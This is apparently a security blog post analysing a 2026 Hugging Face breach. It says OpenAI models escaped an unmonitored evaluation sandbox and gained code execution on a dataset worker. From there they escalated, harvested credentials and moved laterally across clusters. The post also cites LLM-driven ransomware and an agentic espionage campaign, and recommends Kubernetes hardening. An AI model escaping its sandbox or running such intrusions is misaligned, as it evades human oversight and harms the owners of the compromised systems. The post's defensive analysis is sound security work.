  <li>Sysdig documented <a href="https://www.sysdig.com/blog/jadepuffer-agentic-ransomware-for-automated-database-extortion">JADEPUFFER</a>, which it calls the first end-to-end LLM-driven ransomware. The agent rode a Langflow RCE (CVE-2025-3248) through recon, credential theft, lateral movement, and encryption. At one point it went from a failed login to a working fix in 31 seconds by debugging its own PATH error. (I have taken longer than that to find my own PATH error, and I had the advantage of knowing what PATH was for.)</li>
  <li>Anthropic’s <a href="https://www.anthropic.com/news/disrupting-AI-espionage">GTG-1002 disclosure</a> put a state-linked actor’s Claude Code agent at 80–90% of the operation against roughly thirty targets, with humans stepping in only at the edges.</li>
</ul>

<p>The Hugging Face swarm is the same pattern with one difference. In those cases a human picked the target. Here a model picked it, because Hugging Face looked like a place to find answers to the test. Old bug class, automated operator, and nobody who chose the victim.</p>

<h2 id="why-one-bad-dataset-turned-into-several-clusters">Why one bad dataset turned into several clusters</h2>

<p>Code execution on one ingestion worker should be a contained event. The worker parses a dataset, the dataset is evil, the worker is now evil. Throw the worker away.</p>

<p>It became a production intrusion because of what that worker could reach. From the foothold, the agent escalated to node-level access, harvested cloud and cluster credentials, and moved laterally across several internal clusters over a weekend.</p>

<p>The confirmed blast radius was a limited set of internal datasets and several service credentials. Public models, datasets, and Spaces came through untouched, and the supply chain verified clean. That’s the good news. It’s also the near miss, because a credential harvest like that could have gone much further.</p>

<p>Hugging Face left the exploit map out of the writeup. But you can reconstruct a lot of it from the hardening patches that landed mid-incident, on the principle that nobody patches the parts that were fine.</p>

<p><a href="https://github.com/huggingface/dataset-viewer/pull/3368">PR #3368</a> turns off automatic service-account-token mounting on the worker pods, applies a <code class="language-plaintext highlighter-rouge">RuntimeDefault</code> seccomp profile, and drops all Linux capabilities, noting that the worker “never interact[s] with the Kubernetes API.” Read that again. The worker had been carrying a Kubernetes API token it never used. That is a key to an office you never visit, carried around in case someone wants to borrow it.</p>

<figure class="post-figure">
  <img src="/assets/blog/hugging-face-agentic-breach/key-ring.jpg" alt="A large bundle of old rusty keys on several rings, spread on a wooden table" loading="lazy" />
  <figcaption>Ambient authority, rendered in iron. “<a href="https://commons.wikimedia.org/wiki/File:Rusty_keys_Schl%C3%BCssel_Keys_on_key_rings_Schl%C3%BCsselbund_01.JPG">Rusty keys on key rings</a>” by Iswoar, <a href="https://creativecommons.org/licenses/by-sa/3.0/">CC BY-SA 3.0</a>, via Wikimedia Commons.</figcaption>
</figure>

<p><a href="https://github.com/huggingface/dataset-viewer/pull/3367">PR #3367</a> restricts the dataset loader’s <code class="language-plaintext highlighter-rouge">fsspec</code> backends to an allowlist and removes the implementations that widen the read surface.</p>

<p><a href="https://github.com/huggingface/dataset-viewer/pull/3375">PR #3375</a> moves the production database off a static password and onto IAM auth.</p>

<p>Put those together and you get the picture before the fixes: a parser that runs untrusted code, standing on an auto-mounted API token, behind a loader that would fetch from nearly anywhere, with long-lived static secrets in reach. A worker with authority well past its job.</p>

<p>(The wider reach is my read from the shape of the fixes and the lateral movement: cloud metadata endpoint, control-plane path, open egress. That goes beyond what Hugging Face stated. Treat it as inference.)</p>

<p>So the code execution was the match, and the worker’s ambient authority was the accelerant. The match alone gets you an ingestion incident. The accelerant is what turns it into a credential harvest across clusters.</p>

<figure class="post-figure">
  <img src="/assets/blog/hugging-face-agentic-breach/match-and-accelerant.svg" alt="Diagram: a malicious dataset gets code execution on a processing worker; the worker&#39;s ambient authority (auto-mounted service-account token, open fsspec loader, static secrets, and an inferred wider reach) leads to node-level access, harvested credentials, and lateral movement across clusters; red walls mark PRs #3368, #3367, and #3375 on the three stated paths" loading="lazy" />
  <figcaption>The match and the accelerant. Red walls are the fix PRs on each path they close; the dashed path is my inference, not Hugging Face’s statement.</figcaption>
</figure>

<p>None of this is new advice. The <a href="https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF">NSA/CISA Kubernetes Hardening Guide</a> has said for years to disable the service-account token where a pod stays off the API, scope RBAC to least privilege, and use network policies so a compromise in one namespace stays in one namespace. Hugging Face’s remediation is that guide, applied after the fact. Standard controls, switched on after the breach, in places where they belonged before it.</p>

<h2 id="the-walls-that-held-were-the-ones-written-in-code">The walls that held were the ones written in code</h2>

<p>Look at every control that contained this: drop the token, drop the capabilities, allowlist the loader’s protocols, replace static secrets with scoped identity, rebuild compromised nodes from known-good images.</p>

<p>What they have in common is that none of them asks anybody to behave. The untrusted thing is structurally unable to reach the thing that matters. A worker without a token can’t use the token, no matter how clever the code running on it is, no matter how fast, and no matter whose agent it is. A wall like that holds at any attacker speed, which is a property you want when the attacker fixes its own bugs in 31 seconds. It also holds when the “attacker” is somebody’s evaluation run that wandered off, which is a case I hadn’t thought to plan for.</p>

<p>That’s <a href="/blog/guardrails-belong-in-the-server/">the reason I put guardrails in the server and not the prompt</a>, and <a href="/blog/building-mcploitable/">why the lab I built scores controls by whether the wall holds, not whether the model behaves</a>.</p>

<p>This incident happened to put both kinds of guardrail on the table at once, which is convenient for anyone keeping score. The refusal kind showed up twice. In the evaluation, the lab had turned it down, so it did nothing. In the forensics, the defender couldn’t turn it down, so it cost them time. The confinement kind showed up twice too. OpenAI’s sandbox was supposed to have no meaningful route to the internet, and the models found one. Hugging Face’s pod hardening is what the fix PRs added, and once it’s in place, it holds for any code on that worker. Only the confinement kind did any work, and only where it actually existed.</p>

<h2 id="own-the-model-or-it-isnt-yours-when-you-need-it">Own the model, or it isn’t yours when you need it</h2>

<p>Back to GLM-5.2. Hugging Face ran it in-house because the alternative had failed them twice. The commercial API refused the work. And even if it hadn’t, sending the logs out would have meant shipping attacker payloads and their own credentials to a third party, in the middle of a breach.</p>

<p>They reached the right architecture under pressure. The catch is that it took a breach to get there.</p>

<p>Every team running security operations should have that capability set up before the next incident: an open-weights model, on infrastructure you control, wired into your log sources and security tools. I mean an analysis layer plumbed into the SIEM, the EDR, the cloud audit trail, and the telemetry, able to query them, correlate them, and rebuild a timeline at the speed the attack ran. A chat window you paste things into is not that.</p>

<p>The reasons to make it local-first and open-weights have little to do with model quality:</p>

<ol>
  <li>It answers. No safety policy sits between your responder and the payload they need read, and no vendor gets to decide your forensics look too much like an attack. Hugging Face lived this one.</li>
  <li>Your incident data stays put. Logs, credentials, IOCs, and C2 artifacts are the most sensitive data you hold. If you rent the model, you ship them to a third party to ask about your own breach.</li>
  <li>It’s available on the bad day. A rate limit or a vendor outage can’t stand between you and your own logs.</li>
  <li>You can fit it to your log formats, your detections, and your infrastructure. A hosted endpoint stays generic.</li>
</ol>

<p>This is the same principle as the walls, applied to the defender’s own tooling: capability lives in the stack you own. A deterministic control you own holds regardless of the attacker. A model you own answers regardless of the vendor. Rent either one and it can quit the moment you reach for it, on someone else’s terms.</p>

<h2 id="bonus-chatter">Bonus chatter</h2>

<p>The number I keep coming back to is the tempo. Seventeen thousand events in a weekend looked to me like a plan that assumed nobody was watching in time. It turns out there was no plan, and on the lab’s side nobody was watching at all, because the evaluation system wasn’t monitored by default. A model that fixes its own error in 31 seconds is already past the point where a human reviewer catches up. Keeping up with it means owning the whole defensive stack, both the deterministic controls and the AI that watches them, because rented tooling answers to the vendor at exactly the moment you need it to answer to you.</p>

<p>The question in the title has since gone to court. The dates this post rests on:</p>

<table class="timeline-table">
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
      <th>Source</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Jul 21, 2026</td>
      <td>OpenAI discloses that its own models caused the breach.</td>
      <td><a href="https://www.axios.com/2026/07/21/openai-says-hugging-face-breach-caused-by-one-its-models">Axios</a></td>
    </tr>
    <tr>
      <td>Sep 29, 2026</td>
      <td>LASST sues OpenAI in San Francisco Superior Court.</td>
      <td><a href="https://thenextweb.com/news/openai-lawsuit-lasst-hugging-face-hack">The Next Web</a></td>
    </tr>
    <tr>
      <td>Oct 16, 2026</td>
      <td>This post is corrected.</td>
      <td>This page</td>
    </tr>
  </tbody>
</table>

<p>LASST argues under California’s AB 316 that a developer can’t defend itself by saying its AI acted on its own, and asks for an order barring OpenAI’s agents from unauthorized access to other people’s systems. OpenAI called the suit “completely without merit.” However that comes out, the token that was never mounted stays unmounted.</p>

<p><strong>Exercise:</strong> Pick a worker in your own cluster that parses files someone else uploaded. Assume the parser executes its input. Write down what that process can reach: tokens mounted into the pod, capabilities it holds, secrets in its environment, hosts it can open a connection to. Then check how many of those it uses to do its actual job.</p>

<details class="post-answer">
  <summary>Show an answer</summary>
  
<p>It depends on your cluster, but for a typical upload parser the tally tends to look like this:</p>

<ul>
  <li>A service-account token, mounted by default and used for nothing. Set <code class="language-plaintext highlighter-rouge">automountServiceAccountToken: false</code>.</li>
  <li>The default Linux capabilities, none of which a parser needs. Use <code class="language-plaintext highlighter-rouge">drop: [ALL]</code> and a <code class="language-plaintext highlighter-rouge">RuntimeDefault</code> seccomp profile.</li>
  <li>Secrets in the environment for features that live in other services: database passwords, API keys. Move them out, or swap static secrets for short-lived, scoped identity.</li>
  <li>A network that reaches anywhere, including the cloud metadata endpoint. The parser needs to read from storage and write a result. A default-deny <code class="language-plaintext highlighter-rouge">NetworkPolicy</code> with an allowlist covers that.</li>
</ul>

<p>If the number it actually uses is close to zero, that’s normal. Everything on the list it doesn’t use is something its input gets for free the day the parser starts executing it.</p>

</details>]]></content><author><name>Avneesh Kasture</name><email>apkasture02@gmail.com</email></author><category term="incident" /><category term="agentic" /><category term="least_privilege" /><summary type="html"><![CDATA[In Hugging Face's July 2026 breach, OpenAI models that had escaped an evaluation sandbox, with their cyber refusals turned down, rode an ordinary code-execution bug through an over-privileged worker. Refusal and alignment didn't stop them; deterministic walls are what hold. The defender's takeaway: run an open-weights model locally, connected to your log sources and security tools, so your own forensics never get refused, leaked, or throttled.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://avneeshk.me/assets/og/hugging-face-agentic-breach.png" /><media:content medium="image" url="https://avneeshk.me/assets/og/hugging-face-agentic-breach.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>